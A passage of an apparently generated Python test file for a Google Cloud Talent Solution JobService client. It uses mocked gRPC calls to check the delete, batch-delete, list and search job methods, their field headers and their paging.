response = await client.delete_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert response is None
def test_delete_job_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.DeleteJobRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.delete_job), "__call__") as call:
call.return_value = None
client.delete_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_job_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.DeleteJobRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_job), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_job_flattened():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.delete_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_job(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_job_flattened_error():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_job(
job_service.DeleteJobRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_job_flattened_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_job), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_job(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_job_flattened_error_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_job(
job_service.DeleteJobRequest(), name="name_value",
)
def test_batch_delete_jobs(
transport: str = "grpc", request_type=job_service.BatchDeleteJobsRequest
):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_delete_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.batch_delete_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.BatchDeleteJobsRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_batch_delete_jobs_from_dict():
test_batch_delete_jobs(request_type=dict)
@pytest.mark.asyncio
async def test_batch_delete_jobs_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.BatchDeleteJobsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_delete_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.batch_delete_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert response is None
def test_batch_delete_jobs_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.BatchDeleteJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_delete_jobs), "__call__"
) as call:
call.return_value = None
client.batch_delete_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_batch_delete_jobs_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.BatchDeleteJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_delete_jobs), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.batch_delete_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_batch_delete_jobs_flattened():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_delete_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.batch_delete_jobs(
parent="parent_value", filter="filter_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].filter == "filter_value"
def test_batch_delete_jobs_flattened_error():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.batch_delete_jobs(
job_service.BatchDeleteJobsRequest(),
parent="parent_value",
filter="filter_value",
)
@pytest.mark.asyncio
async def test_batch_delete_jobs_flattened_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_delete_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.batch_delete_jobs(
parent="parent_value", filter="filter_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].filter == "filter_value"
@pytest.mark.asyncio
async def test_batch_delete_jobs_flattened_error_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.batch_delete_jobs(
job_service.BatchDeleteJobsRequest(),
parent="parent_value",
filter="filter_value",
)
def test_list_jobs(transport: str = "grpc", request_type=job_service.ListJobsRequest):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_jobs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = job_service.ListJobsResponse(
next_page_token="next_page_token_value",
)
response = client.list_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.ListJobsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListJobsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_jobs_from_dict():
test_list_jobs(request_type=dict)
@pytest.mark.asyncio
async def test_list_jobs_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.ListJobsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
job_service.ListJobsResponse(next_page_token="next_page_token_value",)
)
response = await client.list_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListJobsAsyncPager)
assert response.next_page_token == "next_page_token_value"
def test_list_jobs_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.ListJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_jobs), "__call__") as call:
call.return_value = job_service.ListJobsResponse()
client.list_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_jobs_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.ListJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_jobs), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
job_service.ListJobsResponse()
)
await client.list_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_jobs_flattened():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_jobs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = job_service.ListJobsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_jobs(
parent="parent_value", filter="filter_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].filter == "filter_value"
def test_list_jobs_flattened_error():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_jobs(
job_service.ListJobsRequest(), parent="parent_value", filter="filter_value",
)
@pytest.mark.asyncio
async def test_list_jobs_flattened_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = job_service.ListJobsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
job_service.ListJobsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_jobs(parent="parent_value", filter="filter_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].filter == "filter_value"
@pytest.mark.asyncio
async def test_list_jobs_flattened_error_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_jobs(
job_service.ListJobsRequest(), parent="parent_value", filter="filter_value",
)
def test_list_jobs_pager():
client = JobServiceClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_jobs), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.ListJobsResponse(
jobs=[job.Job(), job.Job(), job.Job(),], next_page_token="abc",
),
job_service.ListJobsResponse(jobs=[], next_page_token="def",),
job_service.ListJobsResponse(jobs=[job.Job(),], next_page_token="ghi",),
job_service.ListJobsResponse(jobs=[job.Job(), job.Job(),],),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_jobs(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, job.Job) for i in results)
def test_list_jobs_pages():
client = JobServiceClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_jobs), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.ListJobsResponse(
jobs=[job.Job(), job.Job(), job.Job(),], next_page_token="abc",
),
job_service.ListJobsResponse(jobs=[], next_page_token="def",),
job_service.ListJobsResponse(jobs=[job.Job(),], next_page_token="ghi",),
job_service.ListJobsResponse(jobs=[job.Job(), job.Job(),],),
RuntimeError,
)
pages = list(client.list_jobs(request={}).pages)
for page, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_jobs_async_pager():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_jobs),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.ListJobsResponse(
jobs=[job.Job(), job.Job(), job.Job(),], next_page_token="abc",
),
job_service.ListJobsResponse(jobs=[], next_page_token="def",),
job_service.ListJobsResponse(jobs=[job.Job(),], next_page_token="ghi",),
job_service.ListJobsResponse(jobs=[job.Job(), job.Job(),],),
RuntimeError,
)
async_pager = await client.list_jobs(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, job.Job) for i in responses)
@pytest.mark.asyncio
async def test_list_jobs_async_pages():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_jobs),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.ListJobsResponse(
jobs=[job.Job(), job.Job(), job.Job(),], next_page_token="abc",
),
job_service.ListJobsResponse(jobs=[], next_page_token="def",),
job_service.ListJobsResponse(jobs=[job.Job(),], next_page_token="ghi",),
job_service.ListJobsResponse(jobs=[job.Job(), job.Job(),],),
RuntimeError,
)
pages = []
async for page in (await client.list_jobs(request={})).pages:
pages.append(page)
for page, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page.raw_page.next_page_token == token
def test_search_jobs(
transport: str = "grpc", request_type=job_service.SearchJobsRequest
):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.search_jobs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = job_service.SearchJobsResponse(
next_page_token="next_page_token_value",
estimated_total_size=2141,
total_size=1086,
broadened_query_jobs_count=2766,
)
response = client.search_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.SearchJobsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.SearchJobsPager)
assert response.next_page_token == "next_page_token_value"
assert response.estimated_total_size == 2141
assert response.total_size == 1086
assert response.broadened_query_jobs_count == 2766
def test_search_jobs_from_dict():
test_search_jobs(request_type=dict)
@pytest.mark.asyncio
async def test_search_jobs_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.SearchJobsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.search_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
job_service.SearchJobsResponse(
next_page_token="next_page_token_value",
estimated_total_size=2141,
total_size=1086,
broadened_query_jobs_count=2766,
)
)
response = await client.search_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.SearchJobsAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.estimated_total_size == 2141
assert response.total_size == 1086
assert response.broadened_query_jobs_count == 2766
def test_search_jobs_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.SearchJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.search_jobs), "__call__") as call:
call.return_value = job_service.SearchJobsResponse()
client.search_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_search_jobs_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.SearchJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.search_jobs), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
job_service.SearchJobsResponse()
)
await client.search_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_search_jobs_pager():
client = JobServiceClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.search_jobs), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
next_page_token="abc",
),
job_service.SearchJobsResponse(matching_jobs=[], next_page_token="def",),
job_service.SearchJobsResponse(
matching_jobs=[job_service.SearchJobsResponse.MatchingJob(),],
next_page_token="ghi",
),
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.search_jobs(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(
isinstance(i, job_service.SearchJobsResponse.MatchingJob) for i in results
)
def test_search_jobs_pages():
client = JobServiceClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.search_jobs), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
next_page_token="abc",
),
job_service.SearchJobsResponse(matching_jobs=[], next_page_token="def",),
job_service.SearchJobsResponse(
matching_jobs=[job_service.SearchJobsResponse.MatchingJob(),],
next_page_token="ghi",
),
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
),
RuntimeError,
)
pages = list(client.search_jobs(request={}).pages)
for page, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_search_jobs_async_pager():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.search_jobs),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
next_page_token="abc",
),
job_service.SearchJobsResponse(matching_jobs=[], next_page_token="def",),
job_service.SearchJobsResponse(
matching_jobs=[job_service.SearchJobsResponse.MatchingJob(),],
next_page_token="ghi",
),
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
),
RuntimeError,
)
async_pager = await client.search_jobs(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(
isinstance(i, job_service.SearchJobsResponse.MatchingJob) for i in responses
)
@pytest.mark.asyncio
async def test_search_jobs_async_pages():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.search_jobs),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
next_page_token="abc",
),
job_service.SearchJobsResponse(matching_jobs=[], next_page_token="def",),
job_service.SearchJobsResponse(
matching_jobs=[job_service.SearchJobsResponse.MatchingJob(),],
next_page_token="ghi",
),
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
),
RuntimeError,
)
pages = []
async for page in (await client.search_jobs(request={})).pages:
pages.append(page)
for page, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page.raw_page.next_page_token == token
def test_search_jobs_for_alert(
transport: str = "grpc", request_type=job_service.SearchJobsRequest
):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.search_jobs_for_alert), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = job_service.SearchJobsResponse(
next_page_token="next_page_token_value",
estimated_total_size=2141,
total_size=1086,
broadened_query_jobs_count=2766,
)
response = client.search_jobs_for_alert(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.SearchJobsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.SearchJobsForAlertPager)
assert response.next_page_token == "next_page_token_value"
assert response.estimated_total_size == 2141
assert response.total_size == 1086
assert response.broadened_query_jobs_count == 2766
def test_search_jobs_for_alert_from_dict():
test_search_jobs_for_alert(request_type=dict)
@pytest.mark.asyncio
async def test_search_jobs_for_alert_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.SearchJobsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.search_jobs_for_alert), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
job_service.SearchJobsResponse(
next_page_token="next_page_token_value",
estimated_total_size=2141,
total_size=1086,
broadened_query_jobs_count=2766,
)
)
response = await client.search_jobs_for_alert(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.SearchJobsForAlertAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.estimated_total_size == 2141
assert response.total_size == 1086
assert response.broadened_query_jobs_count == 2766
def test_search_jobs_for_alert_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.SearchJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.search_jobs_for_alert), "__call__"
) as call:
call.return_value = job_service.SearchJobsResponse()
client.search_jobs_for_alert(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_search_jobs_for_alert_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.SearchJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.search_jobs_for_alert), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
job_service.SearchJobsResponse()
)
await client.search_jobs_for_alert(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_search_jobs_for_alert_pager():
client = JobServiceClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.search_jobs_for_alert), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
next_page_token="abc",
),
job_service.SearchJobsResponse(matching_jobs=[], next_page_token="def",),
job_service.SearchJobsResponse(
matching_jobs=[job_service.SearchJobsResponse.MatchingJob(),],
next_page_token="ghi",
),
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.search_jobs_for_alert(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(
isinstance(i, job_service.SearchJobsResponse.MatchingJob) for i in results
)
def test_search_jobs_for_alert_pages():
client = JobServiceClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.search_jobs_for_alert), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
next_page_token="abc",
),
job_service.SearchJobsResponse(matching_jobs=[], next_page_token="def",),
job_service.SearchJobsResponse(
matching_jobs=[job_service.SearchJobsResponse.MatchingJob(),],
next_page_token="ghi",
),
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
),
RuntimeError,
)
pages = list(client.search_jobs_for_alert(request={}).pages)
for page, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_search_jobs_for_alert_async_pager():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.search_jobs_for_alert),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
job_service.SearchJobsResponse(
matching_jobs=[
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
job_service.SearchJobsResponse.MatchingJob(),
],
